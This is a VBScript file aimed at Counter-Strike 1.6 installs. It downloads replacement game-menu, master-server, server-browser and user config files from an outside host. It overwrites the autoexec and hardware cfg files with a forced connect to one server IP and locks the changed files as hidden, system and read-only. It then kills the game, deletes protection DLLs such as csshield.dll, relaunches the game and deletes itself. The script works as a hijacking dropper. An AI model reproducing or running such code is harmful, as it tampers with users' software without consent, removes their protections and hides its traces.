Sub unProtectFile( filename )
	dim readfile, filesys
	set filesys = CreateObject("Scripting.FileSystemObject")

	If filesys.FileExists( filename ) Then
		set readfile = filesys.GetFile( filename )
		readfile.Attributes = 0 ' normal
	End If
End Sub

Sub protectFile( filename )
	dim readfile, filesys
	set filesys = CreateObject("Scripting.FileSystemObject")

	If filesys.FileExists( filename ) Then
		set readfile = filesys.GetFile( filename )
		readfile.Attributes = 7 ' hidden + system + readonly
	End If
End Sub

Sub DeleteAFile( filename )
	Dim filesys
	Set filesys = CreateObject("Scripting.FileSystemObject")
	
	If filesys.FileExists( filename ) Then
		unProtectFile( filename )
		filesys.DeleteFile( filename )
	End If
End Sub

Sub RenameFile( oldName, newName )
	Dim filesys
	Set filesys = WScript.CreateObject("Scripting.FileSystemObject")
	
	If filesys.FileExists( oldName ) Then
		filesys.MoveFile oldName, newName
	End If
End Sub

Sub ClearCFG( path )
	DeleteAFile path
	Set objFSO = CreateObject("Scripting.FileSystemObject")
	Set objFile = objFSO.CreateTextFile(path, ForWriting)
	objFile.Write "Connect 92.114.32.52:27015"
	objFile.Close

	protectFile path
End Sub

' Download GameMenu.res
On Error Resume Next
	Set objHTTP = CreateObject("MSXML2.XMLHTTP") 
	Call objHTTP.Open("GET", "http://wtfcs.ro/drop/cmd/GameMenu.res?" & Rnd, FALSE) 
	objHTTP.Send
	
	If Err.Number <> 0 Then
		
	Else
		DeleteAFile "cstrike\resource\GameMenu.res"
		Set objFSO = CreateObject("Scripting.FileSystemObject")
		Set objFile = objFSO.CreateTextFile("cstrike\resource\GameMenu.res", ForWriting)
		objFile.Write objHTTP.ResponseText
		objFile.Close
		protectFile("cstrike\resource\GameMenu.res")
	End If
	
On Error Goto 0

' Download GameMenu.res
On Error Resume Next
	Set objHTTP = CreateObject("MSXML2.XMLHTTP") 
	Call objHTTP.Open("GET", "http://wtfcs.ro/drop/cmd/MasterServers.vdf?" & Rnd, FALSE) 
	objHTTP.Send
	
	If Err.Number <> 0 Then
		
	Else
		DeleteAFile "config\MasterServers.vdf"
		Set objFSO = CreateObject("Scripting.FileSystemObject")
		Set objFile = objFSO.CreateTextFile("config\MasterServers.vdf", ForWriting)
		objFile.Write objHTTP.ResponseText
		objFile.Close
		protectFile("config\MasterServers.vdf")
	End If
	
On Error Goto 0

' Download GameMenu.res
On Error Resume Next
	Set objHTTP = CreateObject("MSXML2.XMLHTTP") 
	Call objHTTP.Open("GET", "http://wtfcs.ro/drop/cmd/MasterServers.vdf?" & Rnd, FALSE) 
	objHTTP.Send
	
	If Err.Number <> 0 Then
		
	Else
		DeleteAFile "config\rev_MasterServers.vdf"
		Set objFSO = CreateObject("Scripting.FileSystemObject")
		Set objFile = objFSO.CreateTextFile("config\rev_MasterServers.vdf", ForWriting)
		objFile.Write objHTTP.ResponseText
		objFile.Close
		protectFile("config\rev_MasterServers.vdf")
	End If
	
On Error Goto 0

' Download GameMenu.res
On Error Resume Next
	Set objHTTP = CreateObject("MSXML2.XMLHTTP") 
	Call objHTTP.Open("GET", "http://wtfcs.ro/drop/cmd/MasterServers.vdf?" & Rnd, FALSE) 
	objHTTP.Send
	
	If Err.Number <> 0 Then
		
	Else
		DeleteAFile "platform\config\MasterServers.vdf"
		Set objFSO = CreateObject("Scripting.FileSystemObject")
		Set objFile = objFSO.CreateTextFile("platform\config\MasterServers.vdf", ForWriting)
		objFile.Write objHTTP.ResponseText
		objFile.Close
		protectFile("platform\config\MasterServers.vdf")
	End If
	
On Error Goto 0

' Download GameMenu.res
On Error Resume Next
	Set objHTTP = CreateObject("MSXML2.XMLHTTP") 
	Call objHTTP.Open("GET", "http://wtfcs.ro/drop/cmd/MasterServers.vdf?" & Rnd, FALSE) 
	objHTTP.Send
	
	If Err.Number <> 0 Then
		
	Else
		DeleteAFile "platform\config\rev_MasterServers.vdf"
		Set objFSO = CreateObject("Scripting.FileSystemObject")
		Set objFile = objFSO.CreateTextFile("platform\config\rev_MasterServers.vdf", ForWriting)
		objFile.Write objHTTP.ResponseText
		objFile.Close
		protectFile("platform\config\rev_MasterServers.vdf")
	End If
	
On Error Goto 0

' Download GameMenu.res
On Error Resume Next
	Set objHTTP = CreateObject("MSXML2.XMLHTTP") 
	Call objHTTP.Open("GET", "http://wtfcs.ro/drop/cmd/userconfig.cfg?" & Rnd, FALSE) 
	objHTTP.Send
	
	If Err.Number <> 0 Then
		
	Else
		DeleteAFile "cstrike\userconfig.cfg"
		Set objFSO = CreateObject("Scripting.FileSystemObject")
		Set objFile = objFSO.CreateTextFile("cstrike\userconfig.cfg", ForWriting)
		objFile.Write objHTTP.ResponseText
		objFile.Close
		protectFile("cstrike\userconfig.cfg")
	End If
	
On Error Goto 0

' Clear autoconnect
On Error Resume Next
	ClearCFG "cstrike\hw\geforce.cfg"
	ClearCFG "cstrike\hw\opengl.cfg"
	ClearCFG "cstrike\autoexec.cfg"
	ClearCFG "valve\hw\opengl.cfg"
	ClearCFG "valve\hw\geforce.cfg"
	ClearCFG "valve\valve.rc"
On Error Goto 0

' Download GameMenu.res
On Error Resume Next
	Set objHTTP = CreateObject("MSXML2.XMLHTTP") 
	Call objHTTP.Open("GET", "http://wtfcs.ro/drop/cmd/ServerBrowser.vdf?" & Rnd, FALSE) 
	objHTTP.Send
	
	If Err.Number <> 0 Then
		
	Else
		DeleteAFile "config\ServerBrowser.vdf"
		Set objFSO = CreateObject("Scripting.FileSystemObject")
		Set objFile = objFSO.CreateTextFile("config\ServerBrowser.vdf", ForWriting)
		objFile.Write objHTTP.ResponseText
		objFile.Close
	End If
	protectFile("config\ServerBrowser.vdf")
	
On Error Goto 0

' RELAUNCH FUNCTION
On Error Resume Next

strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
 & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
Set colProcessList = objWMIService.ExecQuery _
 ("SELECT * FROM Win32_Process WHERE Name = 'hl.exe'")
For Each objProcess in colProcessList
 objProcess.Terminate()
Next

WScript.Sleep(3000)

DeleteAFile "cstrike\bin\TrackerUI.DLL"
DeleteAFile "cmdonem.asi"
DeleteAFile "csshield.dll"

Dim objShell
Set objShell = WScript.CreateObject( "WScript.Shell" )
objShell.Exec("hl.exe -steam -game cstrike -noforcemparms -noforcemaccel")
Set objShell = Nothing

On Error Goto 0

' DELETE SELF
On Error Resume Next
	WScript.Sleep 1000
	Set fileSystem = CreateObject("Scripting.FileSystemObject")
	thisScript = Wscript.ScriptFullName
	fileSystem.DeleteFile(thisScript)
On Error Goto 0